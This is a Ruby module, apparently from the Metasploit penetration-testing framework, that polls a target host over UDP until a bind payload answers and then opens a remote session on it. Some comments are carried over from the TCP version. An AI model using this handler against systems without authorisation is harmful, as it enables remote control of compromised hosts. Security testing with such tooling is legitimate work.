# -*- coding: binary -*-
module Msf
module Handler

###
#
# This module implements the Bind TCP handler.  This means that
# it will attempt to connect to a remote host on a given port for a period of
# time (typically the duration of an exploit) to see if a the payload has
# started listening.  This can tend to be rather verbose in terms of traffic
# and in general it is preferable to use reverse payloads.
#
###
module BindUdp

  include Msf::Handler

  #
  # Returns the handler specific string representation, in this case
  # 'bind_tcp'.
  #
  def self.handler_type
    return "bind_udp"
  end

  #
  # Returns the connection oriented general handler type, in this case bind.
  #
  def self.general_handler_type
    "bind"
  end

  # A string suitable for displaying to the user
  #
  # @return [String]
  def human_name
    "bind UDP"
  end

  #
  # Initializes a bind handler and adds the options common to all bind
  # payloads, such as local port.
  #
  def initialize(info = {})
    super

    register_options(
      [
        Opt::LPORT(4444),
        OptAddress.new('RHOST', [false, 'The target address', '']),
      ], Msf::Handler::BindUdp)

    self.conn_threads = []
    self.listener_threads = []
    self.listener_pairs = {}
  end

  #
  # Kills off the connection threads if there are any hanging around.
  #
  def cleanup_handler
    # Kill any remaining handle_connection threads that might
    # be hanging around
    conn_threads.each { |thr|
      thr.kill
    }
  end

  #
  # Starts a new connecting thread
  #
  def add_handler(opts={})

    # Merge the updated datastore values
    opts.each_pair do |k,v|
      datastore[k] = v
    end

    # Start a new handler
    start_handler
  end

  #
  # Starts monitoring for an outbound connection to become established.
  #
  def start_handler

    # Maximum number of seconds to run the handler
    ctimeout = 150

    # Maximum number of seconds to await initial udp response
    rtimeout = 5

    if (exploit_config and exploit_config['active_timeout'])
      ctimeout = exploit_config['active_timeout'].to_i
    end

    # Take a copy of the datastore options
    rhost = datastore['RHOST']
    lport = datastore['LPORT']

    # Ignore this if one of the required options is missing
    return if not rhost
    return if not lport

    # Only try the same host/port combination once
    phash = rhost + ':' + lport.to_s
    return if self.listener_pairs[phash]
    self.listener_pairs[phash] = true

    # Start a new handling thread
    self.listener_threads << framework.threads.spawn("BindUdpHandlerListener-#{lport}", false) {
      client = nil

      print_status("Started #{human_name} handler against #{rhost}:#{lport}")

      if (rhost == nil)
        raise ArgumentError,
          "RHOST is not defined; bind stager cannot function.",
          caller
      end

      stime = Time.now.to_i

      while (stime + ctimeout > Time.now.to_i)
        begin
          client = Rex::Socket::Udp.create(
            'PeerHost' => rhost,
            'PeerPort' => lport.to_i,
            'Proxies'  => datastore['Proxies'],
            'Context'  =>
              {
                'Msf'        => framework,
                'MsfPayload' => self,
                'MsfExploit' => assoc_exploit
              })
        rescue Rex::ConnectionError => e
          vprint_error(e.message)
        rescue
          wlog("Exception caught in bind handler: #{$!.class} #{$!}")
        end

        client.extend(Rex::IO::Stream)
        begin
          # If a connection was acknowledged, request a basic response before promoting as a session
          if client
            message = 'syn'
            client.write("echo #{message}\n")
            response = client.get(rtimeout)
            break if response && response.include?(message)
            client.close()
            client = nil
          end
        rescue Errno::ECONNREFUSED
          client.close()
          client = nil
          wlog("Connection failed in udp bind handler continuing attempts: #{$!.class} #{$!}")
        end

        # Wait a second before trying again
        Rex::ThreadSafe.sleep(0.5)
      end

      # Valid client connection?
      if (client)
        # Increment the has connection counter
        self.pending_connections += 1

        # Timeout and datastore options need to be passed through to the client
        opts = {
          :datastore    => datastore,
          :expiration   => datastore['SessionExpirationTimeout'].to_i,
          :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
          :retry_total  => datastore['SessionRetryTotal'].to_i,
          :retry_wait   => datastore['SessionRetryWait'].to_i,
          :udp_session  => true
        }

        # Start a new thread and pass the client connection
        # as the input and output pipe.  Client's are expected
        # to implement the Stream interface.
        conn_threads << framework.threads.spawn("BindUdpHandlerSession", false, client) { |client_copy|
          begin
            handle_connection(client_copy, opts)
          rescue => e
            elog('Exception raised from BindUdp.handle_connection', error: e)
          end
        }
      else
        wlog("No connection received before the handler completed")
      end
    }
  end

  #
  # Nothing to speak of.
  #
  def stop_handler
    # Stop the listener threads
    self.listener_threads.each do |t|
      t.kill
    end
    self.listener_threads = []
    self.listener_pairs = {}
  end

protected

  attr_accessor :conn_threads # :nodoc:
  attr_accessor :listener_threads # :nodoc:
  attr_accessor :listener_pairs # :nodoc:
end

end
end
